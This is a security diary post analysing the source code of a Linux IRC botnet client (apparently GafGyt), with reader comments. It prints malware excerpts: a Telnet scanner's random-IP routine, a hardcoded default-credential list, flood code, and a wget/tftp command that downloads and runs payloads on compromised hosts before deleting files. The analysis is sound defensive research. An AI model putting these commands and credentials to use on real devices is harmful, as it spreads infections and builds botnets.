My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Analyze of a Linux botnet client source code

Published: 2016-07-27. Last Updated: 2016-07-27 11:33:59 UTC
by Xavier Mertens (Version: 1)
3 comment(s)

I like to play active-defense. Every day, I extract attacker's IP addresses from my SSH honeypots and perform a quick Nmap scan against them. The goal is to gain more knowledge about the compromised hosts. Most of the time, hosts are located behind a residential broadband connection. But sometimes, you find more interesting stuff. When valid credentials are found, the classic scenario is the installation of a botnet client that will be controlled via IRC to launch multiple attacks or scans. Malicious binaries are pre-compiled for many architectures but, this time, I felt lucky and got access to the source code! I found a compromised host (located in the Seychelles) that was hosting pre-compiled binaries and the source code of the botnet client itself. I had a quick look of course...

Honestly, the client is not very complex and only basic features are implemented but it helps to understand how to code malicious software. First of all, only one C&C server was hardcoded in the source code (also located in the Seychelles) but the client can handle multiple servers. I presume that binaries are compiled with a new C&C every time a new campaign is started. The connection occurred on an unusual port: 9271 (the default one being 6667 - IRC).

Once started, the client forks itself, tries to connect to its C&C. If it does not work, it sleeps for five seconds and tries the next one (if configured).

if (pid1 = fork()) {
    waitpid(pid1, &status, 0);
    exit(0);
} else if (!pid1) {
    if (pid2 = fork()) {
        exit(0);
    } else if (!pid2) {
    } else {
}
} else {
}

setsid();
signal(SIGPIPE, SIG_IGN);

while(1)
{
    if(initConnection()) { sleep(5); continue; }
    ....
}

Once successfully connected, it enters the main loop waiting for commands. The following ones were implemented:

  • PING (expecting a classic “PONG” reply)
  • GETLOCALIP (returns the local IP address of the bot)
  • SCANNER [ON|OFF] (starts or stops the Telnet scanner - see below)
  • EMAIL
  • HOLD <:port>
  • ip>
  • target>
  • target>

The "SCANNER" command looks the most interesting one, it implements a basic Telnet scanner. It generates random public IP addresses with the following function:

in_addr_t getRandomPublicIP()
{
    if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
        {
            ipState[1]++;
            ipState[2]++;
            ipState[3]++;
            ipState[4]++;
            char ip[16];
            szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
            return inet_addr(ip);
        }

    ipState[1] = 0;
    ipState[2] = 0;
    ipState[3] = 0;
    ipState[4] = 0;
    while(
            (ipState[1] == 0) ||
            (ipState[1] == 10) ||
            (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
            (ipState[1] == 127) ||
            (ipState[1] == 169 && ipState[2] == 254) ||
            (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
            (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
            (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
            (ipState[1] == 192 && ipState[2] == 168) ||
            (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
            (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
            (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
            (ipState[1] >= 224)
        )
        {
            ipState[1] = rand() % 255;
            ipState[2] = rand() % 255;
            ipState[3] = rand() % 255;
            ipState[4] = rand() % 255;
        }

    char ip[16];
        szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
    return inet_addr(ip);
}

Then, it tries to connect to port 23 and to authenticate using a list of hardcoded credentials:

char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0", "user\0","pi\0","support\0"};
char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0","alpine\0","raspberry\0","support\0", "ubnt\0"};

If the connection is successful, it tries to download and install itself. On the same server, multiple precompiled binaries are available for multiple architectures (i386, x64, arm, mips, ...).

if(send(fds[i].fd, "cd /tmp; wget http://x.x.x.x/bins.sh;chmod 777 bins.sh;sh bins.sh;busybox tftp -r tftp2.sh -g x.x.x.x;chmod 777 tftp2.sh; sh tftp2.sh; rm -rf *\r\n", 157, MSG_NOSIGNAL) < 0)
{
    sclose(fds[i].fd); 
    fds[i].state = 0;
    fds[i].complete = 1;
    continue;
}

The email feature looked experimental because some part of the code was commented out and the "From" field was also hardcoded:

if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);

if(send(fd, "MAIL FROM: \r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);

The domain rastrent.com is registered but not used at the moment. Here are passive DNS records found:

2015-11-06 184.154.229.207
2015-02-24 69.64.147.242
2014-10-14 208.43.167.119

About the flood commands, the "UDP" and "TCP" ones are classic. The "JUNK" command just send random data (by block of 1KB) into a TCP connection:

//nonblocking sweg
makeRandomStr(watwat, 1024);
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
{
     close(fds[i].fd);
     fds[i].state = 0;
}

This is not a very complex example but it shows how a badly protected Linux box can be infected and integrated into a botnet to generate malicious activity. The fact that the main feature is a Telnet scanner and the presence of binaries for multiple architectures tend to think for the botnet targets residential routers or small embedded Linux like storage devices. In the mean time, the server hosting the source code and binaries is offline for 24 hours. The hardcoded C&C server is still alive.

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Keywords: botnet irc linux malware
3 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments

Great post Xavier! This is Linux/GafGyt (aka 'GayFgt').
Great analysis and summary! Thank you.
Would you list all the specific architectures the precompiled binaries covered? Thanks!

Diary Archives